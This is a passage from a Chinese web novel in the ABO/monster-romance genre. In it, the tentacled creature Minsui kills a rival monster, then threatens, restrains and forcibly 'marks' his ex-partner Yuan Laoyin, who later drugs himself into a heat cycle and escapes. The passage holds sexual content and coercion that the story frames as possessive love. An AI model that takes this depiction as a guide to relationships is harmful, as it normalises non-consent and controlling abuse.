可怜的羔羊,竟然没有藏在塔卢索怀中颤抖,而是无知地在危险的草地释放他诱人的甜香。 “我要得到他。” 祂不会出手,吞下那美好的血肉之后,塔卢索只会迁怒于这群蚂蚁,祂将会是坐收渔翁之利的唯一胜利者。 “您会得到他。” 傀儡们受到祂羽毛的蛊惑,只剩下了空壳,脸上只会呈现出祂想要的表情。 这个城市将会成为祂伟大征程的初始,而祂会成为族群史书上最成功的鹄卡兹。 吞掉塔卢索的伴侣,剖开他的肚腹,让他的痛哭哀嚎成为祂翅膀新生的奏乐。 就在鹄卡兹于漆黑天空中坐上自己的王座时,一股无形之力凭空出现,撕裂了空间。 恐怖的气息令祂从美好幻想中抽离,而祂只来得及看到一团黑雾,便感觉到自己仿佛被一只手像捏破布般捏碎,最后落在地面。 近乎毁灭的力道摧毁祂用尽诡计得到的六对翅膀,那圣洁的羽翼尽数折断,以诡异的角度贴在祂的身后,祂想要尖叫,想要怒吼,想要看清敢在祂的领地挑衅祂的是谁。 可当祂用尽全力抵御威压睁开眼后,看到的却是一片虚无。 祂瞎了。 还不算一个照面,祂的视线就被对方无情剥夺。 “你就是用这双眼睛觊觎我的伴侣?” 触手缠绕在鹄卡兹骨头全部碎裂如同一滩烂肉的身躯上,祂就算是再迟钝也明白来者是谁。 是塔卢索。 祂呜呜发出微弱的求饶声,但剧痛闪过,祂失去了舌头,巨大的鸟喙被触手搅碎。 闵随伸出触手,在鹄卡兹最后一滴生命力消失时,终于显现出人的躯壳。 他无视那干枯的尸体,回头看向失去神智的傀儡。 “想要抓住我的伴侣?” 他每走一步,那些只剩下空壳的身体化为尘埃,随风飘散。 当一切归于平静后,Enigma掸去几乎可以忽略的灰,朝南走去。 “嘿。”塞壬闪身出现,“大舅哥现在不想见你。” “我和他之间的事,还轮不到你插手。”闵随心气不顺,自从与原烙音争吵之后,Alpha那滴眼泪始终在他眼前挥散不去。 也是他情绪太不稳定,才会在原烙音决绝地选择分手时暴露出塔卢索与生俱来的劣根性,将事态推向无法解决的方向。 他知道是自己的错,所以离开桑尼顿。 但没想到就那么几天,连鹄卡兹这样只敢用恶心羽毛蛊惑信徒的低等生物差点将他的伴侣置于死地。 让那只鸟死得太轻易,还真是便宜他了。 “我之前就提醒过你,趁早坦白,是你自作聪明。”傅云泠见有人和他栽了同样的坑,心里说不出的痛快,“西亚莉呢,她不是扬言要让你感受生离死别,报你杀她伴侣的仇吗?” “我亲手杀了她。”若非塔卢索伴侣死后,祂们宁愿玉石俱焚也要与仇人同归于尽,闵随也不会走到现在这个死局。 他原本不欲与塞壬这条死人鱼多说,但想着他们勉强算是同病相怜,还是忍不住道。 “是我想差了,本来以为说分开冷静能刺激他回国,没想到多出个朗博伽斯搅局,他直接就跟我分手了。” “朗博伽斯?”傅云泠倒是有些意外,那些蠢家伙怎会掺和到塔卢索的事里,“当初我抓了几只当坐骑,但实在是太丑就全部丢了。” 闵随不想再搭理他,撕裂空间丢傅云泠一人在原地。 他未免原烙音生气,没有直接落到Alpha面前,但驳杂的气息中,他依旧捕捉到属于伴侣的青柠。 夹杂着丝丝缕缕唯有他们能够闻到的乌木,只有这样的事实才能证明原烙音始终属于他。 也是他太蠢,被Enigma标记后Alpha身体会发生改变,无法通过人类医疗手段洗去标记,也不可能再标记什么命定之番。 “我要见原烙音。”他并不是再请求,这个人类为抵御异种建立的组织在他眼中就像是小孩过家家,“替你们解决了鹄卡兹就是这样的回报?” “您是为了您的伴侣。”宋执玉的声音传来,他依旧没有打开门,“我代替INSO感谢您的帮助。” “宋执玉,别以为你是那蛾子的人我就不敢动你。”闵随耐心告罄,“鹄卡兹这样的生物在异种中不堪一击。” Omega没有回应,而是连通了病房。 “小原,闵总在外面,他要见你。” “让他滚!” 宋执玉的轻笑并没有压制,他切断与病房的通话。 “听见了吧闵总。” 闵随的脸色骤然变得很难看。 第68章 第 68 章 傅云泠姗姗来迟, 他可没有闵随这种撕裂空间的能力。 “你也有被关在门外的一天?”看触手怪倒霉无疑是件开心事,傅云泠吹声口哨,“在国外又危险又不好哄,你不如把人先弄回首都再说。” “实在不行关起来, 当初原衡铎送我进研究所切片, 我关了他二十一天。” “从此以后, 一片坦途。” 闵随并不搭理心怀鬼胎的塞壬。 “嘁, 办法我是告诉你了, 信不信由你。”傅云泠没忽悠到人, 也不自讨没趣, 他刷开大门,“别说同为妯娌我不给你面子, 再不进来,你就站在外面冻成冰雕吧。” 闵随刚刚跨进基地大门,几把枪就对准他。 “诶, 鹄卡兹都打不过,你们还是别找死了。”傅云泠感受到塔卢索身上传来的低气压, 未免闵随心情不佳顺手掀翻基地, 他挺身而出。 “那边楼梯, 左拐第二间, 大舅哥在里面。” 闵随睨了眼那些他不放在眼里的废铜烂铁, 往楼梯走去, 而那些探员差点腿软跪倒在地。 推开门, 里面只有原烙音。 Alpha穿着蓝白条纹的病号服,手腕上带着保护性监禁需要的手环, 就像是个被高度监控的罪犯。 他在看书。 闵随想,他瘦了好多。 “音音。” 闵随走过去, 坐在病床前的板凳上,抬起Alpha的手腕微微一捏,那个原烙音使劲浑身解数都无法摘去的手环断成两段。 “他们让你不开心了,我帮你出气好不好?”闵随语气间满是心疼。 原烙音翻过书的下一页。 让他最不开心的就是眼前这个塔卢索。 桌子上有INSO送来调节气味的苹果,闵随找出水果刀,有些笨拙地削皮。 “我很吸引异种。”原烙音没有心情再翻书,实际上翻过的一百多页,他没看进去一个字,满脑子都是闵随,“而且是从遇见你才开始的。” 唐僧肉。 傅云泠无意间说出口的话还真是贴切,每当异种降临无一例外会成为人群中异种的头等选择,是最闪亮的那颗倒霉蛋。 鹄卡兹说他气味甘甜,肉.体鲜活,可不就是唐僧肉。 “命定伴侣与塔卢索遇见后,的确会逐渐改变体质。”闵随递出坑坑洼洼的苹果,果不其然并没有获得Alpha的青睐,他并没有过多逼迫,只是随手将苹果丢进垃圾桶,“这是有利与我们族群的进化。” 伴侣会招来其他生物的觊觎,这一点虽然会让占有欲极强的塔卢索有强烈的不适,但也不是全然没有好处。 无力招架那么多危险,伴侣便只有永远留在祂们身边。 原烙音显然也明白这一点,他垂下头,藏在被子里的手紧握成拳。 “真是卑鄙!” 他从前认为遇见闵随是人生一大幸事,应当是他命不该绝,才会碰到能够治疗他残缺腺体的Enigma。 但现在,他治好了腺体,却沦为了猎物。 献出了爱,承受了完全标记,却屡屡遭受欺骗,明明能够摊开说,闵随却无法控制住塔卢索基因中携带的疯狂,不愿意给他半点喘息的空间。 他愿意因为爱留在闵随身边,而非这样耍手段的胁迫。 怪不得闵随不担心他会彻底离开,拖着这样的倒霉体质,他能藏到哪里去? 异种与人类的力量就是鸿沟,人类无法与之对抗的鹄卡兹,闵随解决他只用了几分钟。 “别任性了音音,你现在就是异种眼中的肥肉,外面太危险了。”过程有些曲折,但闵随知道,原烙音会同意的。 从前伴侣让他头疼不已的特殊体质终于展现出有用的一面,Enigma甚至不愿掩饰他的欣喜。 “所以就要待在你身边?”闵随眼中的得意无疑激怒了原烙音,他极其厌恶这种被绑定的束缚感,“你们塔卢索都是这样,利用这种上不得台面的手段逼迫伴侣臣服。” “你怎么会这样想?”闵随显然汲取了上次争吵的教训,态度越发缓和,他也不愿意与Alpha的相处剑拔弩张,“永远只会是塔卢索臣服伴侣。” “这种跪在地上掐别人脖子的臣服谁爱要谁要!”原烙音脸色苍白,由于情绪激动猛地咳嗽几声,“命定关系是单向的,我们根本没有选择权。” “音音的首选不是我,但我会努力做到最好。”闵随就像是在随口哄小猫小狗。 那种流露在言语间的不尊重感再度显现,原烙音不愿意再纠缠,他不知道自己会不会随着时间推移,耐心告罄后说出无法挽回的狠话。 “别缠着我了闵随。”他眼里满是疲惫与痛苦,这份爱太过沉重,压得他喘不过气,“若不是你,我根本不会被异种盯上。” 既然这样,又何谈保护。 “若没有我,你现在也没法过正常Alpha的生活。”意识到Alpha眼中的决绝,闵随几乎无法抵抗根植在基因中的欲望,缠绕他,逼迫他,再向他臣服。 “你现在要拿这件事当筹码了吗?”原烙音无力反驳,由于救命之恩,他永远处于低位,“我当初要用钱来换,是你不愿意的。” “你不是很清楚用钱换不到,才会想利用我的感情吗?”闵随放弃再伪装从前的模样,“有得必有失,音音,招惹了人哪里那么容易全身而退?” “我一开始也不愿意接受命定关系,是你故意接近。” “我给过你机会的。”闵随承认自己卑劣无耻,若是能用这件事作为套牢Alpha的枷锁,他为何不为。 “我所有积蓄都给你了。”便是用价值去衡量,那些钱早就超过闵随给的信息素。 “你是说那几张卡?”闵随想起原烙音不告而别的那天,他回到家后就一张写满密码的纸条与几张卡,刻意忍耐的怒火又被点起,“我缺那点钱吗?” “那你想要什么。”原烙音当然知道闵随不缺钱,不然他也不会使感情牌这样的昏招,虽然成功,但他现在也遭了报应。 “我想要你回首都。” “不可能。”原烙音断然拒绝,“我要回邛光,我只会待在邛光,这个体质我会想办法承担。” “你的意思是就算遭到生命威胁,你也不愿意让我陪在你身边?” “闵随,你知道的,感情不能强求,你对我的喜欢和对猫猫狗狗的喜欢没什么不同,我们是不平等的。”原烙音闭上眼睛,主动牵住闵随的手,却说着无情的话语。 “我们好聚好散吧,闵随。” 名为理智的高墙经过多次摧残终于坍塌,既然无论如何原烙音都不会主动留在他身边,那他就该学习同族的做法。 或许就应该听塞壬的话,把原烙音强行带回首都,其余容后再议。 水滴石穿,总会有被原谅的那一天。 “都被完全标记了还想着这些,看来经过前几天的易感期,你还是没有学乖。”闵随掐住他的脸,看着重重绷带下的腺体,总觉得有些碍眼,“你们人类究竟怎样才会安定下来,完全标记也不行,需要弄出个孩子来吗?” 原烙音的脸色更加惨白。 完了。 “Alpha不能生的。”他看出闵随眼中的认真,他瘫在病床上,额角冒出冷汗。 其实是可以的,只不过开凿那块萎缩的器官于Alpha来说近乎于凌迟。 “你不能这样对我,闵随!”原烙音有些着急地喊叫,没有听到闵随的回应,他心里没底,声音越来越微弱,就像呜咽的小兽,“你不可以……你不可以……” “你总是那么不听话。”Enigma发出一声喟叹,他轻轻抚弄着原烙音的下唇,享受恐吓Alpha带来的乖顺。 无数触手蔓延,在原烙音震惊的瞳孔前摇晃。 几乎是瞬间,他就明白闵随要做什么。 他决绝的态度惹怒了闵随,Enigma现在要做的就是要他意识到自己不该说出断绝的话语。 隔壁还有其他病人,门也没锁。 “不要,闵随,不要这样对我!” 与即将到来的严厉酷刑相比,那点尊严毫无作用。 “我错了,我错了闵随。”他扑进猎人怀中,企图用示弱赢得男人的垂怜,虽然他笑得比哭还难看,“我想吃苹果,你刚刚削了没喂我。” “多少岁还要人喂?”闵随享受着爱人这两个月来第一次投怀送抱,感受Alpha在他胸前颤栗,“乖,待会再吃。” 触手逐渐往上攀,越过心口,点在Alpha敏感的腺体,甚至毫不怜惜地用力摩擦。 原烙音什么也不敢说,他的色厉内荏建立在闵随的放纵之上,屡次与异种交锋已然在他的潜意识中留下无法磨灭的信号。 永远不要与那些生物硬碰硬。 经历过腺体残缺这样的祸事,他比谁都惜命。 更何况,闵随威胁他的是另一件事。 他的衣服逐渐被撕碎,赤.裸的身体暴露在空气中,很快又被触手裹住。Enigma像是读不懂他眼中的祈求,控制触手裹住他的身躯。 想象中剧烈的挤压疼痛并没有出现,原烙音只感受到针扎似的微妙不适,而后触手如潮水般褪去。 他折断的肋骨在缓慢恢复原状。 原来是治疗。 “你……”他知道自己错怪了闵随,正准备道歉,但Enigma掐住他的脖子将他按在床上,用绝对的力道压迫他所有反抗。 原烙音引以为傲能够打晕对手的拳头却不能对付闵随,即使他拳头因为攻击开始发痛,也不能阻止闵随吻他腺体的行为。 刚刚触碰,原烙音的腰便反弓起来,他闭上眼,忍受腺体传来能够击溃一切的快感。 “别逼我在这里完全标记你。”闵随的威胁很有效,原烙音认命躺在床上,接受乌木信息素的注入。 临时标记对他们来说几乎无用,闵随的牙印完美重合那个旧咬痕,这段时间原烙音闹腾的郁气终于一扫而空。 原烙音倒在灰色被褥上,双目涣散,像是刚刚接受了一场信息素凌虐。 闵随俯身掐住他的脸,吻他的唇,汲取Alpha口腔中含量极低的青柠。 “你别这样。”羞耻与痛苦夹杂着无法忽视的快感席卷全身,原烙音担心那扇未锁的房门忽然打开。 所有人都会看见他迷离的丑态。 “闵随,我恨你。” 记忆中的闵随像是死在了他发现Enigma身份的那天,真实的塔卢索偏执、疯狂、不择手段。 闵随咬住他的唇,手指按压在他刚刚接受过标记的腺体,另一只手拨弄Alpha裤腰的松紧带,无声地威胁。 “是标记有些疼吗?音音。” 原烙音搂住他的脖子,借力抬起头狠狠一咬,血腥味瞬间在交缠的唇舌蔓延。 “我恨死你了。” 闵随再度标记,听原烙音无法忍耐的尖叫,末了咬住Alpha没力气抬起的手指。 “不,你要爱我。”他就像是小孩在讨要心爱的玩具,紧紧抱着原烙音,在无法容纳两个成年男性的病床上。 “你只能爱我。” “我才是你的命定之番。” 闵随并未做出更过分的举动,他吻走原烙音眼角滴落的生理性眼泪,伸出触手裹住遭到巨大冲击的Alpha,轻声哄诱。 恍惚间,原烙音看见了梦里那只诡异的无瞳之目,他意识到闵随要做什么,立刻闭紧眼睛。 但一切只是徒劳无功。 他的意识逐渐坠落,缓缓睁开眼睛,只看见闵随捕猎成功的笑容。 第69章 第 69 章 人总是会下意识美化没有选择的那一条路。 怀中是昏昏欲睡的嘟呶, ABC窝在他的脚边,那杯热水彻底冰冷后原烙音也没喝。 他在想,若是当初没有在医院偶然听见闵随Enigma的身份,他现在是不是依旧做个傻瓜, 天天开心。 这是他被闵随带回首都的第四天。 同居的别墅一切都没有改变, 只是少了人气, 就像是他离开后, 闵随再也没有回来。 门没锁, 闵随也不敢见他。 微信对话框的消息他已读不回, 闵随还是在发。 早安晚安, 吃什么。 粉饰太平。 他明白这是闵随的示弱。 可是他无法原谅闵随居然出手掠夺他的自由,在他们分手的情况下, 以这样下作的手段强行将他带走。 “你和ABC就在家里好好待着,我很快就回来。” 下定决心很难,原烙音推开门, 他看见漫天冰雪纷飞,再也没有回头。 闵随并没将他锁在房子里, 原烙音呼吸着新鲜空气, 心底是挥之不去的绝望。 他现在就像是一个灾难体, 脱离闵随保护的范围, 他就会被人类无法抵抗的异种狙击, 沦为它们争抢的美餐。 沿着路不知道走了多久, 原烙音看到望不到尽头的江水, 想起在海洋里翻腾的朗博伽斯。 若他未猜错,是闵随的信息素引起那个怪物的忌惮。 原烙音伸手隔着羽绒服摁在心口。 而他干瘪的腺体, 只能释放唯有他与闵随才能闻见的乌木信息素。 “啊,有人。” 这是几乎无人关顾的小道, AO情侣的私会圣地,原烙音捕捉到了Alpha临时标记Omega后溢出的信息素,当做什么也没看见地离开。 或许是有办法的。 EA与AO之间有太多共通性,只闵随留在他腺体的信息素够多,他也能够狐假虎威,暂时释放乌木信息素,恐吓把他当做美餐的异种。 逃跑在这样的局面下实在是不理智的行为。 但他不是闵随,无法做到爱人欺骗自己再撕破伪装后还能留下。 闵随能追踪到他,无论是世界哪一个角落,他都无法彻底摆脱闵随,但他想跑,哪怕是几天,只要能够喘口气。 有钱什么都能做。 他开车到了拳场。 “原哥,你要的东西我找着了。”翟珩昱将两支装满蓝色液体的针管递给他,“有些副作用,你急需,我瞒着闻辙没法找到更好的。” “谢谢你,小昱。”原烙音将两支药揣进兜里,抱住翟珩昱,“我要走一段时间,拳场麻烦你了。” 翟珩昱只是点点头,什么也没有问,他毕竟算是闻家人,圈子里传遍了IMS的老总找了个同性恋人后又分手。 他知道那是原烙音。 出门不过几小时,原烙音快被冻成冰雕,他给嘟呶和ABC准备好几天的食物。 注意到黑猫眼睛里闪烁的忧虑,他伸手抱起嘟呶。 “不要怪我,我只是想喘口气。” 哪怕会换来惨烈的结局。 原烙音穿着浴袍躺在床上,他的腺体经过治疗后再也不会病理性的红肿,那些为拔除多余信息素深入骨髓的痛苦早已恍如隔世。 但他还是记得注射的步骤。 针尖对准腺体,毫不犹豫地戳进去,原烙音脸色瞬间苍白,额头渗出冷汗。 但他没有停,没有喊,握准活塞将那支引诱剂全部注入。 火从底部开始灼烧,他在桑尼顿的易感期本就是强行压制,现在利用药物激发只会更加汹涌。 “音音,怎么忽然打电话?” 原烙音意识逐渐涣散,他闭上眼睛,用最后的力气将玻璃管藏在床底,握住手机虚弱地回应。 “闵随……易感期。” 他想他再也回不了头。 Enigma在电话边焦急地呼喊祈求回应,却只收获Alpha烧到快要迷离的叮咛。 他不能等。 于是空间裂开一条缝隙,闵随瞬间回到卧室,而不过短短两分钟,原烙音窝在床上,就像一只熟虾。 唯一庆幸的便是原烙音痊愈后易感期不会造成生命危险,闵随闻到快爆表的青柠信息素,几乎是瞬间就被勾出反应。 但他不能一错再错,把原烙音带回家,每天晚上趁Alpha睡着偷偷看两眼,已经是他不敢继续奢望的生活。 “音音。” 闵随找出抑制剂,简单消毒后,扎入原烙音的手臂。 可Alpha怎么会让自己一番苦心付之东流,他死命推开闵随,针头却断在紧绷的肌肉中,痛得他缩成一团。 被Enigma标记后,他易感期症状与其他Alpha不同,会更加敏感,近乎于Omega发.情的症状。 “乖,别动。”闵随抽出那根针,抑制剂早已粉身碎骨,他介于原烙音的排斥,不敢再打第二只。 而Alpha就像是脱离水的鱼,渴求他的标记。 他手指蹭过原烙音腺体处的针眼,还没来得及探查那是什么,便被Alpha勾着脖子吻住。 “我打了抑制剂。”原烙音可怜兮兮,他知道闵随现在最想看到他什么样子,“可是失效了,你咬我好不好?” 易感期冲撞下,他忘记了很多东西,至少不会忘记自己要索求Enigma的信息素。 “你会后悔。”闵随对着自己的本能负隅顽抗,他与原烙音之间太多问题没解决,“我做了太多让你难过的事,不想继续错下去。” 或许是吸入少许闵随用来安抚他的信息素,原烙音清醒了几分。 “你已经罪无可恕了。”他最恨有人耍这样的手段,闵随现在的踌躇在他看来不过是伪善,“要不咬,要不滚!” 若闵随只是人类,他自己能够轻易摆脱这段痛苦的感情。 但闵随是异种,他永远不能彻底逃离。 “你要是走了,我发誓我会找到摆脱命定枷锁的方法,和你一刀两断。”原烙音担心闵随的踌躇,他需要Enigma的信息素。 “我挣扎了那么多年,遇见你后只忍耐了几个月。”果然用这样的话戳痛闵随就能引诱Enigma的怒火。 原烙音不在意疼痛,他只要信息素,只要即将到来的几天自由。 他抬起上半身,从闵随耳垂下方一直吻到锁骨,Enigma全身都是腺体,就这么一会动作,原烙音就通过攫取到的乌木信息素爽得头皮发麻。 Alpha的犬齿磨在闵随的锁骨根部,又狠心咬破,血液中高浓度的信息素瞬间侵入他的腺体,片刻清醒后又片刻将他拉入欲望的深渊。 身份暴露带来的也并非全然是坏处,至少现在,闵随可以毫无顾忌地放出触手,深黑泛蓝的末端圈住Alpha的腰部。 “不后悔?”他俯身与原烙音鼻尖相抵。 “不后悔。”原烙音微微抬身,偏过头吻住闵随的唇,他额角淌着汗,舌尖抵着虎牙末端,“你是不是Enigma?” 这么拙劣的激将法,最终还是得逞。 心脏上方逐渐干瘪的腺体重获甘霖,无论宿主有多反感,身体还是逐渐敞开,准备好接受标记。 与Alpha截然不同的反应,提醒他即使治愈了腺体,却仍旧残缺。 信息素的注入唤醒久远的回忆 “疼吗?”闵随舔去Alpha腺体溢出的血珠,他敏锐地察觉到自己与原烙音之间完美的契合关系出现了裂缝,这源自伴侣心里的反抗态度。 但他还是什么没有问。 就这样的程度能够支撑原烙音清醒地注射抑制剂,再深入只会把原烙音越推越远。 他想把爱人留在身边,却不想以这样的方式。 “我的态度有那么重要吗?”由于心理的抵触,他分泌的激素并没有往常那么多,腺体洞穿的疼痛来临的时间要早很多。 原烙音支撑着坐起,他掐住闵随的脸,双眼布满红血丝像是忍着眼泪。 “你把我从桑尼顿强行带回来,你尊重过我闵随,现在你知道要尊重我的意愿,你不觉得很虚伪吗?” 闵随根本不回应他,那双眼睛里的愧疚与哀伤越发刺激原烙音的愤怒。 闵随凭什么露出那种受伤的表情!明明一直都是受益者,欺骗他,作弄他。 原烙音扑过去咬在闵随的脖子,他没有顾忌Enigma仍然顶着人类的躯壳,就像是野兽般撕咬,乌木信息素填满口腔,鲜血也没有阻拦他的动作。 眼泪,带着温度的眼泪,就这样顺着闵随的锁骨往下流。 “我恨你。” 原烙音一次又一次重复,就像在给自己强调。 “从来没有人敢这样对我。”他带着哭腔,抱着闵随的双臂越收越紧,像是妥协,“放过我吧闵随,我求求你,我们就好聚好散,我不会去找任何人。” 他明白塔卢索堪称恐怖的占有欲,头脑不清提起还未出现的命定之番就是在闵随红线跳跃,可是他知道得太晚。 “那就恨。”闵随并未回应那可笑的好聚好散,“别提什么分开,塔卢索与命定伴侣之间没有生离死别,只会同生共死。” 原烙音哭得抖的身子骤然一颤,那样的词语含义太重,他不想承受。 “音音,你一开始就是为了玩弄我的感情,难道没有想到无法脱身的可能?”闵随捏着他的后脖颈将他从怀抱中抽离,拇指擦去越来越多的泪水,“哭得好可怜,易感期憋不住情绪对吗?” “都发泄出来,我在这里。” 原烙音是混乱的,他不知道自己要什么,只觉得难受,想撕开衣服寻求Enigma的标记。 恍然间,他捕捉到自己的目的。 他要闵随的信息素,越多越好。 “这几天你都不在。”原烙音跪坐在床上,浴袍早就揉皱成半褪状态,他的腺体有几个重叠的牙印,“桑尼顿临时标记打乱我的平稳状态后又不愿意见面。” “你就是个混蛋!” 终于不是剑拔弩张,闵随松了口气,他摸着Alpha脊背后那条线,顺着秩序混乱的易感期Alpha的话指责自己。 “对,我是混蛋。”他哄诱着,逐渐抛开那些无用的道德感,“想要什么音音,你要说出来,我才知道。” “完全标记。” 原烙音眼中划过一丝清明,他躺在床上闭上眼睛,生理性快感与内心复杂的情绪缠绕着攻击他的大脑。 他的腿根留下暧昧的咬痕,太刺激了,他受不住。 “你别搞那些虚的。”他一脚踹在Enigma的胸膛,直接把人踢开,可骤然的攻击令闵随下意识放松对牙齿的桎梏,原烙音痛得直接拱起身子。 “对不起,对不起音音。”闵随哄着他放松身体,至少露出伤处,“我看了,没问题,弄疼了对不对?” “别用那种哄小孩的语调跟我说话。”原烙音想起自己的目的,忍着踹飞闵随的怒气张开腿,“标记。” 闵随按住他的腹部。 “可以顶开这里吗?” 第70章 第 70 章 爱, 恨与欲望交缠,难舍难分。 原烙音挣扎着昂起头,用尽全力也无法抵抗Enigma将他翻身的动作,闵随的掌心还是一如既往的凉, 抬着他的腹部, 皮肤与肌肉之下, 是Alpha萎缩的生.殖.腔。 那样极致的痛苦与欢愉原烙音不愿意再经历一遍, 即使他需要闵随的信息素填满全身, 作为他逃走的先要条件。 “我不在意你算计什么。”闵随压在他的背上, 掐着他的脸抬起对向不知道什么时候搬进来的全身镜, 纯黑的触手与Alpha偏冷白的肌肤对比明显。 “你做什么!”原烙音挣扎着,却无计可施, 他无法挣开那些看似柔弱无骨的触手。 就算是闵随撕开伪装已久,也从来没有这样明显地将他当作玩物过。 “音音,想要达到你的目的, 至少该给我点甜头吧。”闵随强硬地掰过原烙音的头,掐住腮帮阻止他的嘴唇闭合, 再狠狠吻上去。 原烙音自投罗网, 困兽之斗, 他失去理智用力咬下, 混着乌木气息的鲜血瞬间在口腔迸发。 闵随松开钳制住他的手掌, 跪直身子用手指抹去溢出的鲜血, 他再也不需要掩藏自己属于异种的一面, 那恐怖的咬伤瞬间愈合,只有Enigma指尖的血液证明它曾存在。 Alpha的青柠味最终还是被契合度极高的信息素给逼了出来, 整个房间萦绕着果香。 原烙音奋力朝前爬,不过两三步就被拽回, 伸向前方的手背也被Enigma扣住,浓度太高的信息素也少不了影响塔卢索的理智,闵随有些失控,他并不如从前那般温柔。 “疼。”原烙音死死咬住唇,并不在意它血肉模糊,很快就被发现,嘴里塞进了属于闵随的两根手指。 “别咬自己。”闵随咬住他耳朵的边沿。 任人摆布,狼狈之极,他一个Alpha落到异种手中,就是无力反抗的玩偶。 闵随将他上半身捞起,面对镜子他们重叠着。 “看看你。”闵随看到原烙音因为屈辱流下的眼泪,他轻轻擦去,“音音,乖乖,你哭得好漂亮。” “是你要信息素的,引诱易感期会迎来怎样的后果你没有想过吗?”闵随的怒气终于展露,但只是冰山一角。 他可以任由原烙音发泄,毕竟伴侣的一切塔卢索都应该照单全收,但原烙音竟然伤害自己,甚至是好不容易治愈的腺体。 Enigma自然不会承认也有伴侣排斥自己的烦躁。 “我疼,我疼闵随。”原烙音太懂得示弱了,他拼命转过身,即使体内搅动的感觉让他差点背过气去,掺和着还未流干的眼泪,他那双弧度柔和的眼睛像是被雨水冲刷般干净,他抱住Enigma的胸膛微微抖动着身子,“我控制不住,我不想哭的。” 作为Alpha,本能不允许他低头,逼迫他去抗争,但总会有意外。 原烙音忘记他在易感期有20%的几率比Omega还娇弱爱哭。 “别那么对我闵随,我不想看镜子。”那是他从前的幻想,在此刻就成了彻头彻尾的折磨。 为了震慑异种,最不该滚在床上的前任却仿佛被双方的信息素浸透了。 原烙音终于看清自己的心,他放不下闵随,他放不下爱,初尝感情对他这个年轻Alpha来说就像是偷食禁果,打开潘多拉魔盒后再难回头。 可是人不能只有爱情。 他不能浑浑噩噩就这么让闵随得逞,让那塔卢索的命定枷锁就这么困住他的一生。 邛光,才该是他的天地。 “标记我闵随,完全标记,别再咬腺体了,这里好疼。”他脸色被易感期熏得潮红,手指点着心脏,眼神有些迷离,诱惑着永远无法拒绝伴侣的塔卢索进入梦幻的伊甸园,“其实我好想你,可是你为什么要骗我呢,我真的很想好好和你在一起。” “我是你的猫猫狗狗吗?为什么要这样折磨我。” 触手敲碎镜子,保护着原烙音不受碎片伤害,Enigma的手指从Alpha的背脊线划下,单手掐在一边腰窝。 “你是我的爱人,是我不好,让你伤心了。”闵随安抚着亲他的脸,他知道Alpha由于易感期意识混乱,逐渐卸下心防,这是他捡来的温馨时光。 “再咬一口吧,我要你的信息素。”原烙音改变主意,他抬手摸在闵随的眉骨,从头到尾抚过。 闵随求之不得,他埋头重新进行标记。 Alpha的手按在他的脖颈,望向镜子,表情很冷,眼神清明。 “我好爱你啊。”他笑着,嘴边却有一丝讽意,“别急,我们还有几天时光。” * 易感期过了整整四天才堪堪结束,闵随必须去处理他失踪后遗留的工作。 原烙音很乖地承受亲吻,又主动送Enigma到门口,一看就是有幺蛾子要作。 “晚上给你带菠萝包好不好?”闵随说不清楚微妙的预感,Alpha终于妥协对他来说不论哪方面都是好事,但他明明伸手就能将原烙音抱在怀中,却莫名觉得他们之间隔得越来越远。 “好不好?”他今天格外固执,非要一个答案。 “我等着你,换一个吧,我不喜欢菠萝了。”原烙音送他出门。 闵随骗他,他也要骗闵随,这样才算是扯平。 Enigma在电话打来时终于选择离开,只不过今天他去车库开了车。 原烙音看着车从视线中消失,拉上窗帘靠在沙发上,只觉得由身到心疲惫不堪。 他整个人像是从乌木信息素里捞出来似的,轻轻按压自己没一块好肉的腺体,疼得龇牙咧嘴。 该死的闵随,上辈子肯定是个狗精。 “他走了。”原烙音庆幸闵随还没有完全失去理智,做事做绝,连他的通讯都切断。 “开门。”电话传来的声音与现实重合。 原烙音打开门,他看到了穿着INSO制服的原衡铎,年轻Alpha举着特殊研制的枪,染的粉色头发随风摇晃。 原衡铎也能保护他了。 “哥。”原衡铎确定安全后收回枪,捏住原烙音的手腕,第一眼就觉得哥哥瘦了好多,他咬牙切齿,“闵随那个混蛋。” “我送你回邛光,强龙难压地头蛇,他翻不出什么风浪的。”原衡铎感觉掌心的手腕滑落,有些意外地抬头,“哥?” “小铎,我的想法依旧没有改变。”原烙音有些不自然地拉起衣领,担心原衡铎看到那些吻痕,“我暂时不回家,只是想安静几天,你有办法能让我不被闵随追踪到吗?” 原衡铎还想说什么,却被突然冒出的傅云泠拦住,塞壬双手抱胸懒洋洋地靠在门框。 “大舅哥说的没错,塔卢索的伴侣体质会逐渐改变,成为吸引异种的唐僧肉,首都还在闵随的保护范围中,去了邛光,你哥哥就是冒着香气的活靶子。”他解释道,“闵随没有追踪的本事,那是跟在他身边的那库斯的天赋,只要你在地球,他就能定位。” 原烙音咬住唇,说不失望是不可能的。 “但是呢,我平生最大的爱好就是看触手怪和喷火龙倒霉。”傅云泠掏出兜里早就准备好的空瓶子,催生出右手指骨第四指节,滴落透明的液体,“扰乱那库斯这种小事我还是乐意效劳的,它会逐渐挥发,从现在开始能保持七天时间,七天后我会重新给你一瓶。” “你不能多给点吗?”原衡铎狠狠一捣他的腹部。 “你打游戏大招恢复还需要冷却时间,我又不是水龙头。”傅云泠痛得发出一声闷哼,“七天是我的极限了,至于大舅哥你全身都是塔卢索的味道,那些不长眼的东西暂时不敢爬到闵随头上。” “行了小圣父,快送你哥哥走吧。”傅云泠背过身去,“就别告诉我位置了,免得我刺激闵随时说漏嘴。” “你要的东西。”原衡铎递出一个信封,“哥,我也可以给你安排的。” “谢谢。”原烙音并不打算变相接受INSO的保护,他捏着那个看起来是空的信封,“能跑一天也是我赚到了,小铎,告诉宋执玉,我不会接受任何保护性监禁,但他如果能派人去邛光,等我回原氏后每年可以资助三千万。” “我会告诉长官的。” 原烙音看他们上车离开,打开电脑启动这些日子编写好的程序,监控持续工作,但只会上传前几天重复的录像。 处理好这一切,原烙音拿出新买的手机和电话卡,他将所有可能定位的装饰全部摘下,换上新买的套装,戴了副黑框眼镜走出门。 “嘟呶,我要走了,可能是几天,可能是几周。” 他不能经受任何失败的可能性,嘟呶再像一只小猫,它也是异种。 【原烙音:你什么时候回家】 【闵随:抱歉音音,工作有些多,我尽量今晚回家】 【原烙音:嗯】 他抽出电话卡掰成两段,连同手机一起丢进垃圾桶,头也不回地离开。 终于还是走到了这一步,他关上门,知道自己和闵随再也不可能回到从前。 或许从第一次见面就注定了一切,塔卢索必定会遇见命定伴侣,他们也注定纠缠。 原烙音背着遇见闵随前就取出以备不时之需的一书包现金,走出困住他许久的大门。 一切都结束了,他终于获得了看似毫无意义的阶段性自由,成功完成了自己的计划。 他应该开心的,但—— 阳光真的好刺眼。 